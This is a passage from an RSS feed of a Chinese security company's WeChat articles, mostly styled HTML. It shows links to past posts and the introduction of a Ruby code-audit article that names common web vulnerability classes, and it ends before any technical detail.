Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span msthash="251135" msttexthash="1726982283" style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><section style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;width: 677px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d6229ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-mid="" mpa-from-tpl="t" style="padding-right: 4px;padding-left: 4px;outline: 0px;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p data-mid="" msthash="2289326" msttexthash="12647050" style="padding-right: 16px;padding-left: 16px;outline: 0px;max-width: 100%;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(-14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb9bc775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section><h1 msthash="224770" msttexthash="17982692" style="margin-top: 8px;margin-bottom: 14px;outline: 0px;font-size: 22px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484855&amp;idx=1&amp;sn=35cbffc6a2cbfa5e5c49838980789d12&amp;chksm=c0ddffc6f7aa76d0b7b06f4c8a0b18b01766f8f50b62c3f489de6a0c27620e7f74f439b7cccf&amp;scene=21#wechat_redirect" textvalue="Ruby安全漫谈" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span msthash="271973" msttexthash="110699719" style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">Ruby安全漫谈</span></a></h1><h1 style="margin-top: 8px;margin-bottom: 14px;font-size: 22px;white-space: normal;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484806&amp;idx=1&amp;sn=c9de71d7e2e645d5dcce48da185c4014&amp;chksm=c0ddfff7f7aa76e11d6a443f315bee9012b08742a0eb76c553556ef3eb74aca9bc54bf25d477&amp;scene=21#wechat_redirect" textvalue="基于RDP协议识别主机操作系统版本与用户名" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="271973" msttexthash="110699719" style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">基于RDP协议识别主机操作系统版本与用户名</span></a></h1><h1 style="margin-top: 16px;margin-bottom: 14px;outline: 0px;font-size: 22px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484767&amp;idx=1&amp;sn=ae1a98f8951112067d4688d57677f58d&amp;chksm=c0ddff2ef7aa76380e2a7bf47b0932036aa82d3d79d0a3ab51012cf07bd015f005b0bdda0995&amp;scene=21#wechat_redirect" textvalue="Chrome V8命令执行漏洞（CVE-2022-1310）分析" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="271974" msttexthash="106898441" style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">Chrome V8命令执行漏洞（CVE-2022-1310）分析</span></a></h1><p style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9bdadcd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="438322" msttexthash="46068516" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);letter-spacing: 2px;box-sizing: border-box !important;overflow-wrap: break-word !important;">引领智能网络攻防科技</span></section><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthidden="1" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-ratio="0.0734375" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=530afaf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></span></section><section data-brushtype="text" style="margin: 15px 1em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section class="mp_profile_iframe_wrp" style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><mp-common-profile data-index="0" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/0?wx_fmt=png" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-origin_num="28" data-is_biz_ban="0" data-isban="0" class="js_wx_tap_highlight" data-from="2" has-insert-preloading="1"></mp-common-profile></section><section msthash="837304" msttexthash="11380889" style="margin-top: 15px;margin-bottom: 10px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">点击</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">在看</strong></span></section><section style="margin-top: 5px;margin-bottom: 15px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="837305" msttexthash="16926988" style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">分享给小伙伴</span></section><section style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="837306" msttexthash="88348169" style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">↓</span>↓点击</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">阅读原文</strong></span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);box-sizing: border-box !important;overflow-wrap: break-word !important;">，了解更多墨云信息</span></span></section></section>



<p><a href="http://www.vackbot.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=001d4174&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247484877%26idx%3D1%26sn%3D5f3983c37feca13d90e6b4aab092bf07%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 16 Sep 2022 17:50:00 +0800</pubDate>
    </item>
    <item>
      <title>Ruby安全漫谈</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484855&amp;idx=1&amp;sn=35cbffc6a2cbfa5e5c49838980789d12</link>
      <description>本文结合笔者所了解的Ruby安全知识点以及挖掘到的Ruby相关漏洞进行描述，希望能给读者在Ruby代码审计上提供帮助。</description>
      <content:encoded><![CDATA[<p>
原创 <span>NiuBL</span> <span>2022-08-26 16:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>本文结合笔者所了解的Ruby安全知识点以及挖掘到的Ruby相关漏洞进行描述，希望能给读者在Ruby代码审计上提供帮助。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9480acd6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW5gXu3tUeJgM86zu1ATEY9NOWicyuTsyAu7spQI7A0PichkLsrfibcOaLFQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="0" data-cropx2="500" data-cropy1="0" data-cropy2="386.9047619047619" data-galleryid="" data-ratio="0.772" data-s="300,640" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;visibility: visible !important;width: 84px !important;" data-type="jpeg" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=ef3468d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5Hyd9IkZVo0JUSV5nPeVNVriaFQKWJ59ODSQiafWYYvZs3fadU0JPjQ0A%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;">V-lab实验室</span></strong></section><section style="margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"/></section><section style="margin: 0px 8px 0em;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img class="rich_pages wxw-img __bg_gif" data-ratio="0.1875" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;font-size: 16px;letter-spacing: 0.544px;widows: 1;visibility: visible !important;width: 67.691px !important;" data-type="gif" data-w="128" data-width="10%" src="https://wechat2rss.xlab.app/img-proxy/?k=8c660053&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></section><p><br/></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;background-color: rgb(255, 255, 255);font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;">随着Ruby越来越流行，Ruby相关的安全问题也逐渐暴露，目前，国内专门介绍Ruby安全的文章较少，本文结合笔者所了解的Ruby安全知识点以及挖掘到的Ruby相关漏洞进行描述，希望能给读者在Ruby代码审计上提供帮助。</span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><br/></p><h2 cid="n0" mdtype="heading" style="margin: 1rem 0px;padding: 0px;outline: 0px;font-weight: bold;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;text-indent: 0em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 17px;">Ruby简介</span></h2><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">Ruby是一种面向对象、指令式、函数式、动态的通用编程语言。在20世纪90年代中期由日本电脑科学家松本行弘（Matz）设计并开发。Ruby注重简洁和效率，句法优雅，读起来自然，写起来舒适。</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"></span><br/></p><h2 cid="n0" mdtype="heading" style="margin: 1rem 0px;padding: 0px;outline: 0px;font-weight: bold;font-size: 1.75em;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;text-indent: 0em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 1.75em;letter-spacing: 0.544px;text-indent: 0em;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 17px;visibility: visible;">Ruby安全</span></strong><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"/></h2><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">说到</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">Ruby</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">安全不得不提</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">RubyonRails</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">安全，本篇着重关注</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">Ruby</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">本身。</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">Ruby</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">涉及到</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">web</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">安全漏洞几乎囊括其他语言存在的漏洞，例如命令注入漏洞、代码注入漏洞、反序列化漏洞、</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">SQL</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">注入</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">漏洞、</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">XSS</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">漏洞、</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">SSRF</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">漏洞等。</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">但是在具体的漏洞触发上，</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">Ruby</span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">又不同于其他语言。</span></p><h4 style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: 